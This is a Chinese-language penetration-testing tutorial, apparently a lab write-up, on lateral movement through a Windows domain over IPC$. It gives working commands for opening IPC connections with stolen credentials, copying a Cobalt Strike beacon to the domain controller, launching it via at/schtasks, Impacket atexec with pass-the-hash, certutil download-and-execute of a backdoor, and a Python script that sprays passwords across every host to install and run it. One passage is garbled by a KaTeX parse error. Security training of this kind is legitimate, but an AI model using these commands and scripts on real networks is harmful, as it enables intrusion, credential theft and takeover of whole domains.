内网安全:IPC协议横向移动

目录

网络拓扑图

网络环境说明

IPC协议

域渗透实战

域内信息收集:域控主机&&用户&&凭据&&网络

[IPC协议横向移动 - 执行命令](#IPC协议横向移动 - 执行命令)

[一. 建立IPC连接](#一. 建立IPC连接)

[二. 拷贝执行文件到目标机器](#二. 拷贝执行文件到目标机器)

[三. 添加计划任务](#三. 添加计划任务)

[IPC协议横向移动 - CS插件](#IPC协议横向移动 - CS插件)

[IPC协议横向移动 - Impacket(常用)](#IPC协议横向移动 - Impacket(常用))

EXE版本测试

[Py版本测试 - 代理技术](#Py版本测试 - 代理技术)

获取DC账户密码


今天开始内网横向移动的学习,基于IPC协议的横向移动。

网络拓扑图

IPC横向移动的实验环境如下

网络环境说明

攻击机:

LInux IP:47.94.236.117

内网环境:单域环境

Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动

IP:192.168.46.146 192.168.3.31

DC:域控 IP:192.168.3.21

Jack-PC: IP:192.168.3.29

Mary-PC: IP:192.168.3.25

SQLServer:IP:192.168.3.32

FileServer: IP:192.168.3.30

IPC协议

**IPC(Inter-Process Communication)协议是指用于不同进程之间进行通信和数据交换的协议。**在操作系统中,进程是指正在运行的程序的实例。进程可以是同一应用程序的不同实例,也可以是不同应用程序之间的独立实例。进程之间的通信是实现多任务、协作和数据交换的关键。

**IPC协议提供了一套规范和机制,使不同进程能够安全、可靠地进行通信。它允许进程之间共享数据、传递消息、进行同步操作等。**常见的IPC协议包括以下几种:

  1. 管道(Pipe):管道是一种半双工的通信机制,可用于在父子进程或者兄弟进程之间进行通信。在Unix和Linux系统中,管道可以通过创建一个管道文件描述符来实现进程间通信。

  2. 命名管道(Named Pipe):**命名管道是一种有名的管道,它允许无亲缘关系的进程进行通信。**命名管道在文件系统中有一个唯一的名字,进程可以通过该名字打开和使用管道进行通信。

  3. 消息队列(Message Queue):**消息队列是一种按照消息进行通信的机制。进程可以将消息发送到消息队列中,其他进程可以从队列中接收和处理消息。**消息队列通常具有先进先出的特性,并提供了一种异步通信的方式。

  4. 共享内存(Shared Memory):共享内存允许不同进程访问同一块内存区域,从而实现高效的数据共享。多个进程可以将共享内存映射到各自的地址空间中,以便直接读写共享数据,避免了数据复制和传输的开销。

  5. 套接字(Socket):**套接字是一种网络编程中常用的IPC机制,它允许不同主机上的进程进行网络通信。**套接字提供了一种可靠的、面向连接的通信方式,可以通过TCP或UDP协议在网络中传输数据。

  6. 信号量(Semaphore):信号量是一种用于同步进程的机制,它可以用来保护共享资源,控制进程的访问顺序,以及实现进程间的互斥和同步操作。

以上只是一些常见的IPC协议,实际上还有其他更多的IPC机制和协议,每种协议都有其适用的场景和特点。选择适当的IPC协议取决于具体的应用需求和操作系统支持。

IPC是专用管道,可以实现对远程计算机的访问,

需要使用目标系统用户的账号密码,使用139、445端口。

  1. 建立IPC链接到目标主机

  2. 拷贝要执行的命令脚本到目标主机

  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

  4. 删除IPC链接

常用ipc命令总结

net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator #新建连接

net use #查看与本机的所有连接

net use \\192.168.3.32 /del #删除该连接

net use \\server\ipc$ "password" /user:username # 工作组

net use \\server\ipc$ "password" /user:domain\username #域内

dir \\xx.xx.xx.xx\C$\ # 查看文件列表

copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件

copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件

net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC

net view xx.xx.xx.xx # 查看对方共享

域渗透实战

接下将会一步一步拿下整个内网!

域内信息收集:域控主机&&用户&&凭据&&网络

随便一条命令即可验证,shell调用对方主机的cmd命令

shell net time /domain

并且还得到了一个域控的信息。ping一下

获得域控主机地址:

域内用户信息,插件或者命令

shell net user /domain

域内用户信息

获取网络信息,这个需要权限,需要提权,使用高权限的会话进行网络信息收集

通过端口扫描探测网络环境

在CS上上线的是192.168.46.*网段,说明192.168.3.*网段是内网网段

因为我们主要是探测网络主机情况,不需要扫太多端口吗,扫一些常见端口即可

扫描结果:

还有一种情况,倘若当前主机的用户不是域用户怎么办?可以在CS中切换用户上线,需要高权限

别的主机登录过这台主机,会进行密码验证,并记录在内存中,需要高权限才能读取,可以通过这个收集到一个密码集,尝试类似弱口令的攻击。比如域控通过密码登录过这台主机,抓取到域控的密码或者hash,往往域控用户的很多个密码都是同一个,可以尝试弱口令。

在内网渗透的很多横向移动攻击手法中,往往需要传递这些凭据来实现攻击

抓取明文密码:

抓取Hash:

建立IPC连接失败的常见原因:

  1. 对方没打开IPC共享
  2. 对方未开启139,445端口
  3. 账号密码不对

IPC协议横向移动 - 执行命令

前面已经收集到了一些Hash,明文密码,借助IPC进行横向移动

建立IPC连接:需要账号密码,前面已经获取了域内用户账号和抓取了密码

一. 建立IPC连接

shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator 

注意:这里只是现有演示横向移动的手法,Admin123456如何获取等会再解释

这里是通过Webserver(192.168.3.31,已拿下)去横向移动到DC(192.168.3.21)

这就建立好了双方主机的IPC连接

建立IPC连接失败常见错误代码:

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

(2)51:网络问题,Windows 无法找到网络路径

(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题

(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$

(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPCKaTeX parse error: Expected 'EOF', got '#' at position 93: ...账号策略,强制定期更改密码 #̲建立IPC失败的原因 (1)目...共享

(3)对方未开启139、445端口,或者被防火墙屏蔽

(4)输出命令、账号密码有错误

二. 拷贝执行文件到目标机器

之后上传后门到DC(192.168.3.21)

首先需要说明后门生成的问题:

正向连接方式:生成后门,令192.168.3.21绑定本地端口,通过Websever(192.168.3.31)去主动访问

beacon_bind_tcp->beacon.exe

connect 192.168.3.21 2222

反向连接方式:后门的IP应该是Webserver的192.168.3.31这个IP,因为要和DC铜鼓县你,所以需要使用这个IP,才能建立起反向连接

代理转发->转发上线->beacon.exe

其次说明后门上传的问题:

我们是通过Webserver(192.168.3.31)横向移动的,IPC建立的连接也是Webserer与DC的

所以需要先把后门上传至Webserver再拷贝到DC上。

这里仅实验正向连接

在CS中执行命令,使用控制Webserver的高权限会话执行命令,复制文件到C盘

shell copy 4444.exe \\192.168.3.21\c$

三. 添加计划任务

在添加计划任务时,根据操作系统的版本不同,使用的命令也有不同

at < Windows2012 (该版本之前的操作系统使用at命令)

添加计划任务,定时执行

样例:shell at \\192.168.3.21 12:16 c:\bindtcp-2222.exe

定时任务生效后连接:connect 192.168.3.21 #等到定时任务生效后执行,正向连接上线
schtasks >=Windows2012(适用于windows2012后的操作系统版本)

创建任务对应执行文件neacon

样例:schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F

运行beacon任务

schtasks /U administrator /P Admin12345 /run /s 192.168.3.32 /tn beacon /i

删除beacon任务:

schtasks /delete /s 192.168.3.21 /tn beacon /F

通过IPC建立的连接上传后门后,再通过这个给这台主机添加定时任务

之后就会执行上线

IPC协议横向移动 - CS插件

LSTAR插件,使用倒数第二个

也可以通过这个插件做横向移动

IPC协议横向移动 - Impacket(常用)

这是一个专门做横向移动的套件,包含多种横向移动方式

该工具是一个半交互的工具,适用于Webshell下,Socks代理下;

在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试

1、Py版:https://github.com/SecureAuthCorp/impacket

2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows

EXE版本测试

上传文件到Webserver再执行命令,

支持明文,密文Hash连接

CS本地用户明文连接,./针对本地用户连接

shell atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"

CS域内用户明文连接,god/针对域内用户连接

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "ver"

这款工具还支持Hash连接

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

把木马下载到Webserver这个目录上,放到了Web服务上

命令执行改为下载Webserver上木马命令

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/2222.exe zx.exe"

CS执行命令

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "zx.exe"
connect 192.168.3.21 2222

上线

缺点:需要上传的文件太大了,动静很大

Py版本测试 - 代理技术

为了解决主机上没有Python的问题,建议使用代理技术把攻击机带进内网进行测试

使用Proxifier进行代理

配置代理,任意进程走3网段的都走代理

访问到内网

接下来就可以本地直接测试Py,需要安装impacket库

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

关于为什么都是system权限上线解释:

域控制器上的域管理员账户(Domain Administrator)具有最高权限,可以管理域中的所有用户账户和计算机。域管理员账户默认具有登录所有域成员主机的权限,这意味着域管理员可以使用其凭据登录到域中的任何计算机。所以在实验中获得的才是system权限。

在实际测试中,是不知道的,而且我们在信息收集时针对Webserver内存密码读取也没读到。

那么如何获得DC的账户呢?

通过Webserver抓到了不少的凭证,通过IPC横向移动,使用本地用户./administrator和GOD/administrastor和账号密码组合测试,如果拿下来主机,就可以在抓取这台主机的内存里的凭证重复上面测试不断丰富凭证,知道横向到DC的密码。

获取DC账户密码

在一开始信息收集时,获得一部分明文密码

通过这个密码横向移动其它的设备

分别测试本机用户和域用户

测试域用户失败,估计权限不够,测试本地用户成功

192.168.3.29上线,还是system权限,说明那个密码时电脑本地管理员的账号密码

抓取新上线主机的哈希,明文

这条信息抓到的是DC账户的哈希,如果不知道的话,也可以每一条hash都试试横向移动也可以

可以利用这条哈希进行横向移动

上线

再去抓域控的凭证,得到DC账户的明文密码

之后写个脚本,用这个明文密码跑一跑,整个网络就通了

import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}
users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'itadmin',
    'jack',
    'mary',
    'vpnadm',
    'webadmin'
}
passs={
    'admin!@#45'
    'Admin12345'
}

def xz():#下载后门
    for ip in ips:
        for user in users:
            for mima in passs:
                exec1='python3 .\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                exec2='python3 .\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'   #这里是使用可执行程序 效果与py脚本一样
                print('--->'+exec1+'<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

def zx():#执行后门
    for ip in ips:
        for user in users:
            for mima in passs:
                #exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
                exec1 = 'python3 .\\atexec.py  ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'
                exec2 = 'python3 .\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
                print('--->' + exec1 + '<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

if __name__ == '__main__':
    xz()
    zx()

整个内网就都会上线CS了

相关推荐
独行soc4 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
独行soc6 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
Clockwiseee7 小时前
php伪协议
windows·安全·web安全·网络安全
黑客Ash7 小时前
安全算法基础(一)
算法·安全
云云3217 小时前
搭建云手机平台的技术要求?
服务器·线性代数·安全·智能手机·矩阵
云云3217 小时前
云手机有哪些用途?云手机选择推荐
服务器·线性代数·安全·智能手机·矩阵
xcLeigh8 小时前
网络安全 | 防火墙的工作原理及配置指南
安全·web安全
白乐天_n8 小时前
腾讯游戏安全移动赛题Tencent2016A
安全·游戏
光路科技9 小时前
八大网络安全策略:如何防范物联网(IoT)设备带来的安全风险
物联网·安全·web安全
saynaihe10 小时前
安全地使用 Docker 和 Systemctl 部署 Kafka 的综合指南
运维·安全·docker·容器·kafka